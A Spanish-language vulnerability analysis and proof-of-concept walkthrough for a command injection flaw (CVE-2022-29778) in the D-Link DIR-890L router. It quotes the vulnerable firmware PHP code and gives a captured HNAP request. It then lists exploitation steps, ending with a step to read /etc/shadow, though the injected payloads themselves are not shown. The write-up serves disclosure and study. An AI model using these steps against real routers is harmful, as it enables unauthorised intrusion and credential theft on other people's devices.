
Análisis y PoC para D-Link DIR-890L RCE (CVE-2022-29778)
Versión afectada: <= v1.22B01 Hotfix (última)
Firmware: Aquí
Este modelo ha llegado al final de su ciclo de vida. Los recursos asociados con estos productos han cesado su desarrollo y ya no reciben soporte. D-Link Systems, Inc. recomienda retirar estos productos y reemplazarlos por productos que reciban actualizaciones de firmware.
En su firmware podemos encontrar una función getWOLMAC en SetVirtualServerSettings.php
function getWOLMAC($ipv4addr)
{
$cmd = "scut -p ".$ipv4addr." -f 3 /proc/net/arp";
setattr("/runtime/wakeonlan/mac", "get", $cmd);
$mac = get("", "/runtime/wakeonlan/mac");
del("/runtime/wakeonlan/mac");
return $mac;
}
$cmd concatena $ipv4addr directamente en el comando sin filtrar, y se llama en
$ipv4addr = get("x", "LocalIPAddress");
...
if($description == "Wake-On-Lan")
{
$wolmac = getWOLMAC($ipv4addr);
set($vsvr_entry.":".$InDeX."/wakeonlan_mac", $wolmac);
}
Por lo tanto, cuando estableces $description (correspondiente al nombre del servidor virtual) como "Wake-On-Lan", puede existir RCE (ejecución remota de comandos) en las páginas relacionadas con el Servidor Virtual: /VirtualServer.html.
Requiere autenticación, así que inicia sesión primero.

Luego visita la página del Servidor Virtual (/VirtualServer.html) a la que no se puede acceder desde el panel.

Agrega una regla llamada Wake-On-Lan.

Inicia burpsuite antes de hacer clic en el botón Save y captura el siguiente paquete:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAP1/SetVirtualServerSettings"
HNAP_AUTH: A4A816AE6CF2AC5537B0EB390FFB591C 1436839665
Content-Length: 765
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/VirtualServer.html
Cookie: uid=ZeNYZag3Gw
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetVirtualServerSettings>
<VirtualServerList>
<VirtualServerInfo>
<Enabled>true</Enabled>
<VirtualServerDescription>Wake-On-Lan</VirtualServerDescription>
<ExternalPort>1</ExternalPort>
<InternalPort>1</InternalPort>
<ProtocolType>TCP</ProtocolType>
<ProtocolNumber>6</ProtocolNumber>
<LocalIPAddress>192.168.0.100</LocalIPAddress>
<ScheduleName></ScheduleName>
</VirtualServerInfo>
</VirtualServerList>
</SetVirtualServerSettings>
</soap:Body>
</soap:Envelope>
Prepara un servidor http y luego:

Usa el módulo Repeater para probar RCE (ejecución remota de comandos):

Y obtenemos:

Prueba la inyección de comandos y lee /etc/shadow:
